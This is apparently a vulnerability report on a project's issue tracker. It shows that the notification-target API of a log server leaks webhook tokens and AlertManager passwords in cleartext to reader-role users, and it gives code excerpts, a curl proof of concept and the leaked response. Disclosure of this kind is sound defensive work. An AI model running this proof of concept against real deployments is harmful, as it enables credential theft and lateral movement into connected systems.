Notification target secrets (webhook tokens, basic-auth passwords) exposed in cleartext to any low-privilege user via the /targets API

[geo-chen]

Affected Versions: confirmed on v2.8.0 and on commit 7a438c8 (v2.9.1);

Summary

The notification-target API (GET /api/v1/targets, GET /api/v1/targets/{id}, and the POST/PUT responses) returns the full target configuration in cleartext, including webhook endpoint URLs, arbitrary request headers (which commonly carry Authorization: Bearer ... tokens), and AlertManager basic-auth username/password. The code contains a Target::mask() helper written specifically to redact these secrets, but it is commented out at every handler return site, so the raw object is serialized instead.

Any authenticated user whose role grants the GetAlert action can read these secrets. The built-in reader role (the lowest-privilege role, which can be scoped to a single log stream) includes GetAlert. As a result, a user who is only meant to read one log stream can recover the credentials and internal endpoint URLs for every notification target configured in the tenant.

Details

Handlers in src/handlers/http/targets.rs return the raw Target and have the masking call commented out:

// GET /targets
pub async fn list(req: HttpRequest) -> Result<impl Responder, AlertError> {
    let tenant_id = get_tenant_id_from_request(&req);
    let list = TARGETS
        .list(&tenant_id)
        .await?
        .into_iter()
        // .map(|t| t.mask())          // <-- masking disabled
        .collect_vec();
    Ok(web::Json(list))
}

// GET /targets/{target_id}
pub async fn get(req: HttpRequest, target_id: Path<Ulid>) -> Result<impl Responder, AlertError> {
    let target_id = target_id.into_inner();
    let tenant_id = get_tenant_id_from_request(&req);
    let target = TARGETS.get_target_by_id(&target_id, &tenant_id).await?;
    // Ok(web::Json(target.mask()))     // <-- masking disabled
    Ok(web::Json(target))
}

The same // Ok(web::Json(target.mask())) is commented out in post and update.

The mask() helper that the developers wrote (src/alerts/target.rs) proves the secrets are meant to be redacted. It truncates webhook endpoints and replaces the AlertManager password with ********:

impl Target {
    pub fn mask(self) -> Value {
        match self.target {
            TargetType::Slack(slack_web_hook) => { /* endpoint truncated */ }
            TargetType::Other(other_web_hook) => { /* endpoint truncated, headers kept */ }
            TargetType::AlertManager(alert_manager) => {
                if let Some(auth) = alert_manager.auth {
                    let password = "********";   // <-- intended redaction
                    json!({ "username": auth.username, "password": password, ... })
                }
            }
        }
    }
}

The raw structs that get serialized instead contain the secrets as plain serde::Serialize fields with no skip attributes (src/alerts/target.rs):

pub struct OtherWebHook {
    endpoint: Url,
    #[serde(default)]
    headers: HashMap<String, String>,   // e.g. {"Authorization":"Bearer ..."}
    ...
}
pub struct AlertManager {
    endpoint: Url,
    #[serde(flatten)]
    auth: Option<Auth>,                 // username + password serialized verbatim
    ...
}

Authorization for these routes is the unit action GetAlert (src/handlers/http/modal/server.rs):

web::resource("")
    .route(web::get().to(targets::list).authorize(Action::GetAlert))
    .route(web::post().to(targets::post).authorize(Action::PutAlert)),
web::resource("/{target_id}")
    .route(web::get().to(targets::get).authorize(Action::GetAlert))
    ...

GetAlert is granted by the built-in reader role (src/rbac/role.rs, reader_perm_builder() includes Action::GetAlert). Targets are stored per-tenant only; there is no per-user or per-stream ownership check, so any reader sees every target in the tenant.

The internal endpoint URL is itself sensitive: it discloses internal network locations and (for AlertManager/webhook targets) the credentials needed to authenticate to them, enabling lateral movement.

PoC

Setup (as the deployment admin), two streams and a single-stream reader user named bob:

# create two streams
curl -u admin:admin -X PUT  http://localhost:8000/api/v1/logstream/streamalpha
curl -u admin:admin -X PUT  http://localhost:8000/api/v1/logstream/streambeta

# create a reader role scoped to streamalpha only, and a user with that role
curl -u admin:admin -X PUT  http://localhost:8000/api/v1/role/readeralpha \
  -H "Content-Type: application/json" \
  -d '[{"privilege":"reader","resource":{"stream":"streamalpha"}}]'
curl -u admin:admin -X POST http://localhost:8000/api/v1/user/bob \
  -H "Content-Type: application/json" -d '["readeralpha"]'
# -> returns bob's generated password, e.g. dH7fx4qvw03uRXFBZT5kzr1GmxZxTMT5

# admin creates two notification targets carrying secrets
curl -u admin:admin -X POST http://localhost:8000/api/v1/targets \
  -H "Content-Type: application/json" -d '{
    "type":"alertManager","name":"pagerduty-prod",
    "endpoint":"https://internal-alertmanager.corp.example/api/v2/alerts",
    "username":"alertmgr_admin","password":"SuperSecretPagerDutyToken_98765",
    "skipTlsCheck":false}'
curl -u admin:admin -X POST http://localhost:8000/api/v1/targets \
  -H "Content-Type: application/json" -d '{
    "type":"webhook","name":"slack-incoming",
    "endpoint":"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXSECRETXXXX",
    "headers":{"Authorization":"Bearer xoxb-SECRET-SLACK-BOT-TOKEN"},
    "skipTlsCheck":false}'

Attack, as the low-privilege reader bob (no target permissions, scoped to one stream):

curl -u bob:dH7fx4qvw03uRXFBZT5kzr1GmxZxTMT5 http://localhost:8000/api/v1/targets

Actual response (secrets returned in cleartext):

[{"name":"slack-incoming","type":"webhook",
  "endpoint":"https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXSECRETXXXX",
  "headers":{"Authorization":"Bearer xoxb-SECRET-SLACK-BOT-TOKEN"},
  "skipTlsCheck":false,"id":"01KVKSGA97SDB4209Z3B9EY68Y","tenant":null},
 {"name":"pagerduty-prod","type":"alertManager",
  "endpoint":"https://internal-alertmanager.corp.example/api/v2/alerts",
  "skipTlsCheck":false,"username":"alertmgr_admin",
  "password":"SuperSecretPagerDutyToken_98765",
  "id":"01KVKSGA90BDFZ5GC31ZKB4V90","tenant":null}]

The same user is confirmed non-privileged: GET /api/v1/user returns 403, and POST /api/v1/targets returns 403. Only the read path leaks the secrets.

Impact

Any authenticated user holding the GetAlert action, which the lowest built-in role (reader, scopeable to a single stream) carries, can recover in cleartext the credentials of every notification target in the tenant: webhook bearer tokens, Slack webhook URLs (themselves bearer-equivalent secrets), and AlertManager basic-auth username/password, plus internal endpoint URLs. These credentials authenticate to external and internal systems (PagerDuty, Slack, internal AlertManager), so the disclosure enables impersonation of the deployment to those systems and aids lateral movement. The redaction the developers intended (Target::mask()) is present but disabled. Fix: re-enable masking on all /targets read/return paths (or omit the secret fields from the serialized response).

[coderabbitai]

🔗 Related PRs

#1283 - hotfix for alerts [merged]
#1353 - Bring targets out of alerts [merged]
#1365 - bugfixes for target separation [merged]
#1388 - chore: simplify alert creation and evaluation [merged]
#1390 - Modularize Alerts [merged]

---

📝 Issue Planner

_{Check the box below or use the @coderabbitai plan command to generate an implementation plan and prompts that you can use with your favorite coding assistant.}

• Create Plan

---

🧪 Issue enrichment is currently in open beta.

You can configure auto-planning by selecting labels in the issue_enrichment configuration.

To disable automatic issue enrichment, add the following to your .coderabbit.yaml:

issue_enrichment:
  auto_enrich:
    enabled: false

💬 Have feedback or questions? Drop into our discord!

[nitisht]

Thanks for reporting @geo-chen we'll take a look asap